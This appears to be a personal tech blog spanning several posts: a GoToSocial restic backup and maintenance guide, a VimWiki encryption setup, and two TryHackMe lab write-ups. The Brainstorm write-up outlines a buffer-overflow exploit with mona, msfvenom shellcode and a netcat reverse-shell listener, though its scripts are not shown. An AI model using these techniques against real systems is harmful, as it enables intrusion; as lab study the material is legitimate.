We will come back to that tar archive later on.

Our restic-hetzner script will be mostly similar, except we will need to fiddle with SSH and SFTP settings. Hetzner storage boxes enable password authentication for both protocols, and there is no way to disable it. To make this safer, change your storage box's password on robot.hetzner.com to something unbelievably long and random, then add the password in gopass by using gopass create as shown earlier. Name that password hetzner-storage-box.

Then, let's add a SSH config file for your current user with touch ~/.ssh/config and add the following entry in it. Change the first two fields according to your storage box's settings:

Host storagebox
  HostName <hostname as shown on robot.hetzner.com>
  User <username as shown on robot.hetzner.com>
  Port 23
  ServerAliveInterval 60
  ServerAliveCountMax 240

You'll also need to add a ufw rule for port 23: run sudo ufw allow out 23 comment 'Allow SFTP out (hetzner backups)'.

Our restic-hetzner script will make use of what you just configured and look like this. As before, replace <username> accordingly:

#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'

# Environment variables for local restic repository:
export RESTIC_CACHE_DIR="/root/.cache/restic"
RESTIC_REPOSITORY="sftp::/home/backups/$(hostname)-vps-backup"
export RESTIC_REPOSITORY
export RESTIC_PASSWORD_COMMAND="sudo -u <username> /home/<username>/go/bin/gopass -o websites/restic-hetzner/<username>"
SSHPASS="$(sudo -u <username> /home/<username>/go/bin/gopass -o 'websites/hetzner-storage-box/<username>')"
export SSHPASS

# Additional variable for sftp connection:
SSHPASS_SFTP_COMMAND="sshpass -e ssh storagebox -p 23 -F /home/<username>/.ssh/config -o StrictHostKeyChecking=no -o PubkeyAuthentication=no -s sftp"

if [[ $# -ne 0 ]]; then
    exec restic -o sftp.command="$SSHPASS_SFTP_COMMAND" "$@"
    exit
fi

# Directories and files to save.
# Note: add "/etc/systemd/system/pg-fullvacuum.service" and "/etc/systemd/system/pg-fullvacuum.timer" if you chose to create this service.
PATHS=(
        "/etc/systemd/system/gotosocial.service"
        "/etc/systemd/system/restic.service"
        "/etc/systemd/system/restic.timer"
        "/etc/systemd/system/caddy.service"
        "/etc/ssh/sshd_config"
        "/var/lib/gotosocial"
        "/etc/caddy"
        "/etc/fail2ban/jail.local"
        "/etc/fail2ban/filter.d/gotosocial-auth.conf"
)

# Perform backups for directories and files:
for path in "${PATHS[@]}"; do
    restic -o sftp.command="$SSHPASS_SFTP_COMMAND" backup "$path"
done

# Backup GoToSocial export:
sudo -u gotosocial gotosocial admin export --config-path /var/lib/gotosocial/.config/config.yaml --path /var/lib/gotosocial/export.json
restic -o sftp.command="$SSHPASS_SFTP_COMMAND" backup /var/lib/gotosocial/export.json
rm /var/lib/gotosocial/export.json

# Backup postgreSQL dump:
restic -o sftp.command="$SSHPASS_SFTP_COMMAND" backup --stdin-filename postgres.dump --stdin-from-command -- sudo -u postgres pg_dumpall --clean --if-exists

# Retention policy and cleanup:
restic -o sftp.command="$SSHPASS_SFTP_COMMAND" forget \
    --keep-daily 7 \
    --keep-weekly 4 \
    --keep-monthly 6 \
    --keep-yearly 1 \
    --prune

unset RESTIC_CACHE_DIR
unset RESTIC_REPOSITORY
unset RESTIC_PASSWORD_COMMAND
unset SSHPASS

Make sure that the /home/backups directory is present on your Hetzner storage box: create it with mkdir /home/backups if needed.

If you're using another provider (Backblaze for instance), this script will be mostly similar except for its environment variables: take a look at AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and other env variables restic uses in their documentation. Chances are, it will be easier to set up than Hetzner's SFTP transfers. Feel free to use gopass like we did earlier for any additional credentials.

If ran without any arguments, these scripts will take care of your backups and retention policy, but passing anything to them will simply forward commands to the local and remote repositories. Run sudo ~/backups/restic-local init and sudo ~/backups/restic-hetzner init to create them.

You're now ready to add these scripts to a systemd service and timer that will run as root. Create the following /etc/systemd/system/restic.service, replacing <username> accordingly once more:

[Unit]
Description=restic backup
Wants=network-online.target
After=network-online.target

[Service]
Type=oneshot
RuntimeDirectory=restic
StateDirectory=restic
LockPersonality=true
MemoryDenyWriteExecute=no
NoNewPrivileges=yes
PrivateTmp=yes
ProtectClock=yes
ProtectControlGroups=yes
ProtectHostname=yes
ProtectKernelLogs=yes
ProtectKernelModules=yes
ProtectKernelTunables=yes
RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6 AF_NETLINK
RestrictNamespaces=yes
RestrictRealtime=yes
RestrictSUIDSGID=yes
SystemCallArchitectures=native
SystemCallErrorNumber=EPERM
ProtectSystem=full

# Lower CPU and I/O priority.
Nice=19
CPUSchedulingPolicy=batch
IOSchedulingClass=best-effort
IOSchedulingPriority=7
IOWeight=100

Restart=no

ExecStartPre=systemd-inhibit --who="gotosocial-service-stop" --what="sleep:shutdown" --why="Prevent interrupting scheduled backup" /usr/bin/systemctl stop gotosocial
ExecStart=systemd-inhibit --who="restic-local" --what="sleep:shutdown" --why="Prevent interrupting scheduled backup" /home/ovelny/backups/restic-local
ExecStart=systemd-inhibit --who="restic-hetzner" --what="sleep:shutdown" --why="Prevent interrupting scheduled backup" /home/ovelny/backups/restic-hetzner
ExecStartPost=systemd-inhibit --who="gotosocial-service-start" --what="sleep:shutdown" --why="Prevent interrupting scheduled backup" /usr/bin/systemctl start gotosocial
ExecStopPost=systemd-inhibit --who="gotosocial-service-start" --what="sleep:shutdown" --why="Prevent interrupting scheduled backup" /usr/bin/systemctl start gotosocial

ExecStopPost ensures that if backups fail, GoToSocial will be restarted anyway.

Create the following /etc/systemd/system/restic.timer:

[Unit]
Description=Run restic backups

[Timer]
OnCalendar=*-*-* 07:00:00

[Install]
WantedBy=timers.target

This will ensure your restic.service runs every day at 07 AM. Run systemd-analyze verify /etc/systemd/system/restic.* to make sure both service and timer files are valid (it returns nothing if everything is OK), and run sudo systemctl start restic.timer && sudo systemctl enable restic.timer to enable your service.

We can check if everything is running smoothly or not with sudo journalctl -u restic, and when the next backup is supposed to run with sudo systemctl status restic.timer.

Once your first backup is done, run sudo ~/backups/restic-local snapshots and sudo ~/backups/restic-hetzner snapshots to check if every path has been added to your repositories. The check command is also useful to ensure nothing has been corrupted in your backups.

Remember that tar archive we created at the end of our restic-local script? This is because local backups would hardly be useful on their own, being stored in the exact same drive as the original data. Let's save that archive on your actual computer and automate the process with another systemd service and timer.

If you haven't already, add an entry to your VPS in ~/.ssh/config, replacing <my-vps> and all other fields to match your config:

Host <my-vps>
  HostName <VPS IP>
  User <username>
  Port <custom port number>

Create the following ~/.config/systemd/user/vps-backup.service on your laptop, dekstop, etc. Replace <my-vps>, <username>, <hostname>, and <path of your choosing> accordingly:

[Unit]
Description=VPS backups
Wants=network-online.target
After=network-online.target

[Service]
Type=oneshot
Restart=no

ExecStart=systemd-inhibit --who="scp" --what="sleep:shutdown" --why="Prevent interrupting VPS backup" scp -O <my-vps>:/home/<username>/backups/<hostname>-vps-backup.tar.gz /<path of your choosing>/<hostname>-vps-backup.tar.gz

Control this service by adding the following ~/.config/systemd/user/vps-backup.timer:

[Unit]
Description=VPS backups

[Timer]
OnCalendar=*-*-* 10:00:00

[Install]
WantedBy=timers.target

Our VPS backups are quite light, so setting this service to run at 10 AM should be plenty enough time to get your daily archive. Run systemd-analyze verify ~/.config/systemd/user/vps-backup.* to check all files are valid and systemctl --user start vps-backup.timer && systemctl --user enable vps-backup.timer to enable the service. Your archive should end up being copied in the specified path.

One important thing to remember with our setup: our gpg cache won't survive a reboot, even with lingering enabled. When you have to restart your entire VPS, make sure to run a gopass command such as gopass -o websites/restic-local/<username> and enter your passphrase manually, so everything gets cached again.

If you chose to create the full vacuum systemd service for PostgreSQL, now is the time to enable it: run sudo systemctl start pg-fullvacuum.timer and sudo systemctl enable pg-fullvacuum.timer.

Restoring files and directories from your backups

Some disaster happened and it's now time to make your backups worth their while. If you still have access to your local archive, copy it to your VPS with scp -O /<path of your choosing>/<hostname>-vps-backup.tar.gz my-vps:/home/<username>/backups, SSH into your VPS and untar it with sudo tar xzvf /home/<username>/backups/<hostname>-vps-backup.tar.gz --directory=/home/<username>/backups.

Then, use your restic-local script (or copy it like shown earlier if it was also lost), and restore anything needed in a temporary location:

# Grab the ID of the snapshot you wanna use:
sudo ~/backups/restic-local snapshots 

# Restore a directory or file:
sudo ~/backups/restic-local restore <ID> --target /tmp --include /<path of directory or file to restore>

Navigate to /tmp, browse and select any file to restore. Before copying them however, be sure to run sudo systemctl stop gotosocial. Run the same command using start when you're done restoring.

If you're restoring a systemd service file, run sudo systemctl daemon-reload afterwards to scan for changes.

If you're restoring the entire database from your postgres.dump, run sudo -u postgres psql -f postgres.dump postgres from the directory where the dump is present.

This general restore process is the same if you only have access to your remote backups, using your restic-hetzner script or any other provider you have.

Delete the files and directories from their temporary locations in /tmp afterwards, and you should be all set.

Additional maintenance tips and FAQs

I changed my Caddyfile config, how do I apply changes without any downtime?

Run sudo -u caddy caddy reload --config /etc/caddy/Caddyfile after editing your Caddyfile.

I edited Coraza rules and reloaded Caddy, but changes aren't applied.

When it comes to editing your WAF, Caddy and GoToSocial have to be restarted to apply your changes:

sudo systemctl stop gotosocial.service
sudo systemctl restart caddy.service
sudo systemctl start gotosocial.service

I need to check IPs banned by fail2ban.

Run sudo fail2ban-client status gotosocial-4xx to get a list of banned IPs. You should also see them in ufw with sudo ufw status verbose.

I messed up, how do I manually unban an IP in fail2ban?

Run sudo fail2ban-client set gotosocial-4xx unbanip <IP address>. Check if it worked with sudo cat /var/log/fail2ban.log.

I screwed up keys generation with GPG, how do I delete them before re-creating them?

Run gpg --list-keys and use the long ID it outputs with the following commands:

gpg --delete-secret-key <ID>
gpg --delete-key <ID>

Run gpg --list-keys one more time to make sure they've been deleted.

I've had to restore everything: how do I import my saved GPG keys on a new VPS?

Transfer your keys in your new VPS (assuming gpg + gpg-agent are already installed there), then run the following:

gpg --import <mygpgkey_pub.asc>
gpg --allow-secret-key-import --import <mygpgkey_sec.asc>
gpg --edit-key <email address> # Run trust in gpg prompt and select "ultimate trust (5)".
gpg --list-secret-keys # Check if trust changed accordingly.

Don't forget to delete the keys you transferred, now that they're in your GPG keyring.

Go packages are taking so much space!

Once everything has been installed, you can free up that space with the following commands:

go clean -cache
go clean -modcache

This is really useful for small servers!

How to navigate all these logs?

I like to use the following aliases for administration and troubleshooting:

alias caddyedit='sudo vi /etc/caddy/Caddyfile'
alias caddyreload='sudo -u caddy caddy reload --config /etc/caddy/Caddyfile'
alias caddyrestart='sudo systemctl stop gotosocial.service && sudo systemctl restart caddy.service && sudo systemctl start gotosocial.service'
alias caddyvalidate='sudo -u caddy caddy validate --config /etc/caddy/Caddyfile'
alias caddyformat='sudo -u caddy caddy fmt --overwrite /etc/caddy/Caddyfile'
alias gtsjournal='sudo journalctl -u gotosocial --no-pager | grep -v "statusCode=410" | grep -v "error webfingering" | grep -v "410 Gone" | sed "s/\"/\n\t/g"'
alias gtstail='sudo journalctl -u gotosocial -f --no-pager | grep -v "statusCode=410" | grep -v "error webfingering" | grep -v "410 Gone" | sed "s/\"/\n\t/g"'
alias caddyjournal='sudo journalctl -u caddy --no-pager'
alias caddytail='sudo journalctl -u caddy -f --no-pager'
alias wafjournal='sudo journalctl -u caddy --no-pager | grep "http.handlers.waf" | cut -d: -f 4-999999 | sed -e "s/]/]\n/g" -e "s/{/{\n/g" -e "s/{\|\"}\|\\\//g"'
alias waftail='sudo journalctl -u caddy -f --no-pager | stdbuf -oL grep "http.handlers.waf" | stdbuf -oL cut -d: -f 4-999999 | sed -e "s/]/]\n/g" -e "s/{/{\n/g" -e "s/{\|\"}\|\\\//g"'
alias rtljournal='sudo journalctl -u caddy --no-pager | grep "http.handlers.rate_limit"'
alias rtltail='sudo journalctl -u caddy -f --no-pager | grep "http.handlers.rate_limit"'
alias l='ls -lahstr'
alias ctl='sudo systemctl --no-pager -l'
mem() {
        ps -eo rss,pid,euser,args:100 --sort %mem | grep -v grep | grep -i "$@" | awk '{printf $1/1024 "MB"; $1=""; print }'
}
gtsjournalip() {
        gtsjournal | grep -A 1 -B 6 "$1"
}

(If there is a better way to make the WAF logs readable, I'm all ears!)

Messages related to 410 Gone can be safely ignored and create a lot of clutter in the logs, especially if you're federating with mastodon.social.

All done?

Although this should be a good start for a GoToSocial instance, there is always room for improvement: adjusting media caching, database maintenance, tweaking WAF rules... The list is endless, and it doesn't even mention moderation and domain blocks / allows, which are arguably the hardest parts about managing an instance.

It can be hell at times, but you now have full control over it!

References

A quick post before 2025

2024-12-31T00:00:00Z

I'm taking the opportunity to make one last post for 2024, a few hours before the new year begins.

I want this place to be more active! While I've been updating my wikis quite a lot, I didn't post anything new since a long while.

This needs to change for 2025.

I need to make this place truly mine.

Not everything has to be an elaborate, exhaustive post that I'll proofread into oblivion. Not everything needs to be a showcase of tech proficiency. Writing about anything else matters just as much.

Perfectionism leads nowhere, even when you take things slow. I aim to break that cycle and embrace the fear leading up to that change. We'll see where that goes (•ᴗ•)

While my next post will be about tech, the others might not.

Happy new year for anyone celebrating it, and thanks for reading 💜

TryHackMe writeup: Brainstorm

2022-05-24T00:00:00Z

For a while now, I've noticed that I let a lot of writeup drafts pile up without ever publishing them. Usually when I get back to them, I forgot most of what the CTF was about and it becomes nightmarish to publish it.

The solution to this is obvious: just write the entire blog post while doing the CTF! Which is something I'm gonna do for this TryHackMe room.

Brainstorm should be a simple reverse engineering room, as it's meant to practice basic stack-based buffer overflows. This should be fun and I definitely need that kind of refresher, so let's begin!

Enumeration

As usual, we're going to scan and enumerate the network as we have to begin somewhere.

Nmap

Let's run the following command, which will allow nmap to scan which services are running with their versions info, run standard scripts, keep scanning even if it doesn't respond to ping and proceed faster for all of this:

nmap -sV -sC -Pn -T4 <ip-address>

This outputs the following results:

# Nmap 7.92 scan initiated Thu May 12 15:12:15 2022 as: nmap -sV -sC -T4 -Pn 10.10.106.144
Nmap scan report for 10.10.106.144
Host is up (0.031s latency).
Not shown: 997 filtered tcports (no-response)
PORT     STATE SERVICE            VERSION
21/tcp   open  ftp                Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
3389/tcp open  ssl/ms-wbt-server?
|_ssl-date: 2022-05-12T13:15:30+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=brainstorm
| Not valid before: 2022-05-11T12:48:05
|_Not valid after:  2022-11-10T12:48:05
| rdp-ntlm-info: 
|   Target_Name: BRAINSTORM
|   NetBIOS_Domain_Name: BRAINSTORM
|   NetBIOS_Computer_Name: BRAINSTORM
|   DNS_Domain_Name: brainstorm
|   DNS_Computer_Name: brainstorm
|   Product_Version: 6.1.7601
|_  System_Time: 2022-05-12T13:15:00+00:00
9999/tcp open  abyss?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     Welcome to Brainstorm chat (beta)
|     Please enter your username (max 20 characters): Write a message:
|   NULL: 
|     Welcome to Brainstorm chat (beta)
|_    Please enter your username (max 20 characters):
<snip>

Website or web services

N/A

Other services

N/A

Relevant findings for exploitation

Our nmap output already tells us a lot:

We have a FTP server running with anonymous login enabled (nice!).
We have a RDP port opened that will be useful to us later on.
We have a custom program running with port 9999 opened, which is most likely going to be our target for reverse engineering in due time.

Exploitation

First things first, let's connect to the FTP server:

With anonymous login allowed, the credentials simply were anonymous:anonymous@ip-address.

I had some issues at this point with passive FTP mode and EPSV that prevented me to list directories: to disable those, simply run passive and epsv.

Running dir, we can see the following directory:

By listing the content in chatserver, we can find a copy of chatserver.exe and its DLL:

Great! We can now download the program (and the DLL) to work on our buffer overflow, which we will then use on the real target (chatserver on port 9999).

ftp> binary
200 Type set to I.
ftp> get chatserver.exe
local: chatserver.exe remote: chatserver.exe
200 PORT command successful.
125 Data connection already open; Transfer starting.
100% |********* <snip>
226 Transfer complete.
43747 bytes received in 00:00 (264.86 KiB/s)
ftp> get essfunc.dll
local: essfunc.dll remote: essfunc.dll
200 PORT command successful.
125 Data connection already open; Transfer starting.
100% |******* <snip>
226 Transfer complete.
30761 bytes received in 00:00 (238.18 KiB/s)

Quick aside: at this point I knew I had to use Immunity Debugger but couldn't be bothered setting an entire Windows VM just for this task. Turns out that Immunity Debugger works fine with Wine on Kali! Just make sure to set the env variable winearch to win32 when installing it and you'll be all set.

First things first, let's see how the program behaves in a regular context. Launching the chatserver.exe, we get a prompt to create a username and we're then free to send messages away:

The program outputs the following while listening for a connection and processing our username and messages:

We might trigger a buffer overflow when creating our username or sending a message — or both. Let's test that. The basic fuzzer that we're using is the following:

We quickly see that username creation implements a character limit so we won't trigger anything with this input:

While editing the script to enter the username before fuzzing the app, I realized I could make it way simpler. I ended up rewriting it with the following:

Running the script, we notice that the app is crashing after sending 2100 bytes. We now have our starting point to work on the buffer overflow!

To find the EIP offset, we generate a pattern of 2400 bytes and whip up a short exploit script, quite simple like our fuzzing script:

Crashing the app, we get the following EIP register value:

Which allows us to find the EIP offset:

By editing our exploit script, we can confirm that the EIP offset is correct:

Great, smooth sailing ahead of us. What we have to do next is sorting out the badchars and exploit the .dll for privilege escalation. Mona will come in useful for the latter.

Finding the badchars is a simple and boring process: we just add them to our payload and find out what went wrong in our ESP dump.

Turns out we don't have any badchars so we will be able to proceed without excluding them (except of course \x00). Let's work on the .dll file next.

Privilege escalation

First, let's take a look of the modules with Mona. This is simply done with the !mona modules command in Immunity:

We can see that essfunc.dll is a perfect candidate for privilege escalation because it has no memory protections whatsoever. If we can find a JMP ESP instruction that we can leverage for our payload, we should be good to go.
Running msf-nasm_shell on Kali, we can see that the hex instruction for JMP ESP is \xff\xe4:

To find this instruction in essfunc.dll, Mona will again prove to be useful. Running !mona find -s "\xff\xe4" -m essfunc.dll allow us to get the pointers for the instruction we're looking for:

Let's pick the first one and check if this works. We simply adjust our script with the address and change its endianness to match our win x86 target:

And we put a breakpoint in Immunity for the same address. Running the exploit again, we notice that we have indeed control of the EIP:

We're now ready to add the payload in our script and test it against the real target. To generate a payload, we use msfvenom with the following parameters to match the corresponding architecture of our target, add only the null byte to our list of badchars and make it play nicely with Python:

Our script now looks like this (let's not forget the NOP sled too) and should hopefully be working:

Let's set up a netcat listener before running it with nc -lvnp 4444. And sure enough, we end up getting elevated privileges on our target, just as planned!

Switching from Joplin to VimWiki

2021-07-31T00:00:00Z

I've been using Joplin for a while now, and have been mostly happy with it. It features a simple but sufficient vim keyboard mode, notes are encrypted, and images are easily pasted in markdown.

All in all this is great, but the following pain points made me reconsider this solution:

The installation and update process is painful on Linux: you need to run some shell script to get a proper install with shortcuts and icons, or you're stuck with an AppImage and all the related issues accompanying it. You could also use Flatpak, but at the end of the day I'd just rather sudo apt install joplin and move on with my life.
Uninstallation is even more painful. Have fun running sudo find / -iname "*joplin*" 2>/dev/null and sort things out on your own, which is sadly a common occurence with Linux apps.
No autocapitalisation. This is not a very common feature with most text editors, which I find surprising because this doesn't seem hard to implement?
Joplin cloud plans. I'm not interested in this and just wish to keep things simple. Syncing files with syncthing is free and works amazingly well.
Having to use a GUI to write text. Joplin does have a CLI interface, but learning a whole new system that mixes up custom commands with only a subset of vim commands doesn't sound ideal to me.

And last but certainly not least: electron. The only apps built with it that didn't end up eating a frightening amount of RAM on my systems are VSCode and Discord, no other exceptions. I'm not too eager to sacrifice this just to simply type text.

VimWiki has been around for a while and has always intrigued me. As the name implies, this plugin allows you to maintain your own wiki via linked text files, with markdown support. But I would also need the following features to truly make it similar to Joplin:

Seamless note encryption.
Syntax highlighting.
Markdown preview.
Easy way of pasting / linking images in markdown notes.
Autocapitalisation.
Easy syncing (already covered by syncthing).

Seems like some kind of deranged dream to expect all of these features from vim, but this is very doable with the following plugins:

vim-markdown: https://github.com/plasticboy/vim-markdown
markdown-preview: https://github.com/iamcco/markdown-preview.nvim
markdown-image-paste: https://github.com/ferrine/md-img-paste.vim

Note encryption will be done via some vim scripting. Let's roll and set up everything!

Plugins installation

First things first, let's install all the plugins in your .vimrc:

Plug 'plasticboy/vim-markdown', { 'for': 'markdown' }
Plug 'ferrine/md-img-paste.vim', { 'for': 'markdown' }
Plug 'vimwiki/vimwiki'
Plug 'iamcco/markdown-preview.nvim', { 'do': { -> mkdp#util#install() }, 'for': ['markdown', 'vim-plug']}
Plug 'junegunn/goyo.vim'

Goyo is optional but provides an amazing, minimalist interface for notes — I highly recommend it. Note that the following snippet is based on vim-plug: adapt it accordingly if you use another plugin manager, and run the appropriate install command (:PlugInstall in my case).

Setting up encryption with markdown

Let's populate our .vimrc with a few more settings to get seamless encryption. First we're going to assign the .md.gpg extension to the markdown filetype, so vim can apply highlighting and other features like it normally would:

au BufEnter *.md.gpg setlocal filetype=markdown

The seamless editing of .gpg files will be handled by an edited mix of the following scripts:

Be aware that nothing is foolproof here, as vim uses temporary files when dealing with data from external programs. While those scripts harden everything as much as possible, you still might be able to retrieve some of your data with forensics—which is an accepted risk in my case.

One issue with those scripts used in conjunction with VimWiki is the management of buffers: VimWiki will open tons of them, and closing / saving them individually can prevent remaining files to remain tightly encrypted at rest.

The most practical solution I found is to always quit the wiki entirely, trust its autosaving feature and treat the bunch of buffers as a unique group this way. As such and to enforce this, I opted to remap :wq, :q, and disable :w and :q for the .md.gpg filetype exclusively:

au VimEnter *.md.gpg execute ":cabbrev wq wqa"
au VimEnter *.md.gpg execute ":cabbrev q qa"
au VimEnter *.md.gpg execute ":cabbrev w <Nop>"
au VimEnter *.md.gpg execute ":cabbrev wa <Nop>"

Some people might find this to be cursed, and if you hate autosaving I feel you. On my end that solution works perfectly but I'm always open to suggestions!

Next comes the automatic handling and editing of gpg files:

" First make sure nothing is written to ~/.viminfo or backups while editing
" an encrypted file.
set backupskip+=*.gpg
set viminfo=

augroup encrypted
  au!
  " Disable swap file, undo file and backups, and set binary file format
  " before reading the file
  autocmd BufReadPre,FileReadPre *.gpg
    \ setlocal noswapfile noundofile nobackup bin
  " Decrypt contents after reading the file, reset binary file format
  " and run any BufReadPost autocmds matching the filename without .gpg
  autocmd BufReadPost,FileReadPost *.gpg
    \ execute "%!gpg --decrypt --default-recipient-self 2>/dev/null" |
    \ setlocal nobin |
    \ execute "redraw!" |
    \ execute "doautocmd BufReadPost " . expand("%:r")
  " Set binary file format and encrypt contents when leaving vim
  autocmd Vimleave *.gpg
    \ setlocal bin |
    \ bufdo execute "%!gpg --encrypt --armor --default-recipient-self"
  " Contrary to the original scripts, we are not handling an undo command
  " to revert encryption in buffer: vimwiki auto-saves contents when quitting,
  " so we rather leave it at that and disable :w and :wa for .md.gpg files.
  " If you don't like auto-saving, sorry!
augroup END

You will need to have a GPG keypair present on your system for this to work. If you don't already have one, here's how to do it:

Run gpg --full-generate-key.
Select the default key type at the prompt.
Pick at least a key size of 4096 bits.
Set your key to never expire, which is the default length of time at the prompt.
Check your settings.
Add your ID information.
Provide a strong passphrase when prompted.

If you'd rather go crazy with ECC and ED25519 (which I encourage you to do), you can do the following instead:

Run gpg --expert --full-generate-key.
Pick ECC and ECC.
Pick Curve 25519.
Follow the same instructions as before.

This part should be working now! Create a .md.gpg file, open it with vim, insert something and save it. If you cat the file, this should return the encrypted, ASCII-armored content which roughly looks like the following:

Open it again with vim, and you should see the plaintext message. Perfect, moving on!

Setting up VimWiki

By default, vimwiki uses its own syntax. Markdown is however supported with a few option changes.

The plugin also needs some specific settings to be set, so let's do both:

set nocompatible
filetypelugin on
syntax on

let g:vimwiki_list = [{'path': '~/wiki/',
                      \ 'syntax': 'markdown', 'ext': '.md.gpg'}]

Now VimWiki will identify .md.gpg as its default filetype, and the directory for your entire wiki will be located at ~/wiki/. Easy enough.

Learning everything about VimWiki is beyond the scope of this post, but we can still mention a few things. First, you need to create an index by running vim and press <Leader>ww.

Edit the document as you like, and press <enter> with your cursor placed on a word of your choosing: you just made a link! If you press <enter> again, you'll open a new file which you can edit to your linking. Press backspace, and you're back to your index.

This hierarchical way of handling files makes VimWiki very suitable for personal notes and even a zettelkasten system (there is an additional plugin for it). You can learn more about it in the repo's README and VimWiki's wiki.

We're done with setting the plugin, but these are some options I like to tweak:

" Automatically insert a header when creating a new link
let g:vimwiki_auto_header = 1
" Use underscores to replace spaces in the file names
let g:vimwiki_links_space_char = '_'
" Disable all concealing
let g:vimwiki_conceal_onechar_markers = 0
" Disable URL shortening
let g:vimwiki_url_maxsave = 0 
" Don't load VimWiki for markdown files located somewhere else
let g:vimwiki_global_ext = 0
" Bold headers
hi VimwikiHeader1 cterm=bold gui=bold 
hi VimwikiHeader2 cterm=bold gui=bold 
hi VimwikiHeader3 cterm=bold gui=bold 
hi VimwikiHeader4 cterm=bold gui=bold 
hi VimwikiHeader5 cterm=bold gui=bold 
hi VimwikiHeader6 cterm=bold gui=bold

Autocapitalisation

This feature will be quick to implement. The following function will handle Autocapitalisation wherever we want to:

func! AutoCapitalisation() 
    augroup SENTENCES 
        au! 
        autocmd InsertCharPre * if search('\v(%^|[.!?]\_s+|\_^\-\s|\_^\*\s|\_^#+\s|\n\n)%#', 'bcnw') != 0 | let v:char = toupper(v:char) | endif 
    augroup END 
endfu

It has been tweaked from the following source and does a really nice job:

https://davidxmoody.com/2014/vim-auto-capitalisation/

(Thanks David Moody for sharing it!)

To enable the function with VimWiki, all we need to do is the following:

autocmd FileType markdown call AutoCapitalisation()

Easily pasting images in markdown files

The md-img-paste plugin uses xclip to work, so let's install it first:

sudo apt install xclip

The following options can be tweaked to your liking. By default, the plugin will create your image folder at the same location of the currently edited file, which works great for us:

autocmd FileType markdown nmap <buffer><silent> <leader>, :call mdip#MarkdownClipboardImage()<CR>
" There are some defaults for image directory and image name, you can change them
let g:mdip_imgdir = 'images'
let g:mdip_imgname = 'image'

Markdown preview

This plugin works splendidly well out of the box. Just use :MarkdownPreview for a live preview and :MarkdownPreviewStop to stop the service. I only added this shortcut for easy toggling:

autocmd FileType markdown nmap <leader>n :MarkdownPreviewToggle<CR>

It also supports preview of diagrams written with mermaid, katex, and others, really an amazing plugin.

Optional (but amazing): goyo

Goyo is a vim plugin that provides a clutter-free interface for writing in vim: I really enjoyed using it for a long time now, and nothing else quite matched the experience. I recommend checking out the GitHub repo to get a general feel of the interface.

If you want to use it automatically with vimwiki, add the following line in your .vimrc:

au VimEnter *.md.gpg execute ":Goyo"

Caveats

Switching to VimWiki has a few caveats, at least with my current settings:

File names are not encrypted.
Images are not encrypted.
Encrypting things through vim is... a peculiar experience to say the least.

But in my use case, I can live with that.

I'm always open to suggestions and my vim scripting is not the best, but so far the experience is really pleasant. Being able to quickly write notes from the CLI with the full power of vim available is way better than any alternative I could find!

TL;DR: just give me the script!

Sure thing: https://gist.github.com/ovelny/72659e841c1dbcee173eb244c8609252

TryHackMe writeup: Relevant

2021-03-12T00:00:00Z

Relevant is a TryHackMe room designed to simulate a black box penetration test. As such, no information is provided about the target whatsoever, with the exception of its scope. As proof of exploitation, two flags must be secured:

user.txt
root.txt

While the target has several vulnerabilities that can be exploited, this write-up will only focus on one of them. Let's begin!

Enumeration

As always, a good point to start with active reconnaissance is to enumerate open ports and services on our target. Let's begin with nmap.

Nmap

As a start, we will use nmap with the -sC and -sV flags on our target. As a reminder, these scans will do the following:

-sC: equivalent to --script=default. Will run default scripts on found ports/services.
-sV: probe open ports to determine service/version info.

Let's also enumerate all ports with -p- for good measure:

nmap -sC -sV -p- 10.10.126.101
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-01 13:48 CET
Nmap scan report for 10.10.126.101
Host is up (0.029s latency).
Not shown: 65527 filtered ports
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: RELEVANT
|   NetBIOS_Domain_Name: RELEVANT
|   NetBIOS_Computer_Name: RELEVANT
|   DNS_Domain_Name: Relevant
|   DNS_Computer_Name: Relevant
|   Product_Version: 10.0.14393
|_  System_Time: 2021-03-01T12:51:53+00:00
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2021-02-28T12:48:34
|_Not valid after:  2021-08-30T12:48:34
|_ssl-date: 2021-03-01T12:52:32+00:00; 0s from scanner time.
49663/tcp open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

And here are the host script results ran against these findings:

Host script results:
|_clock-skew: mean: 1h36m01s, deviation: 3h34m41s, median: 0s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: Relevant
|   NetBIOS computer name: RELEVANT\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-03-01T04:51:56-08:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-03-01T12:51:54
|_  start_date: 2021-03-01T12:48:50

We're getting a few interesting hints so far for exploitation, and also two HTTP services opened on port 80 and 49663. Let's check where this might lead us.

Websites / web services

Both of the HTTP services lead us to the microsoft IIS server default page:

Dirsearch results suggest something fishy. Why would we have a directory traversal vulnerability for /etc/passwd on a windows server? Looks like we might encounter some red herrings on this target.

Target: http://10.10.32.152/

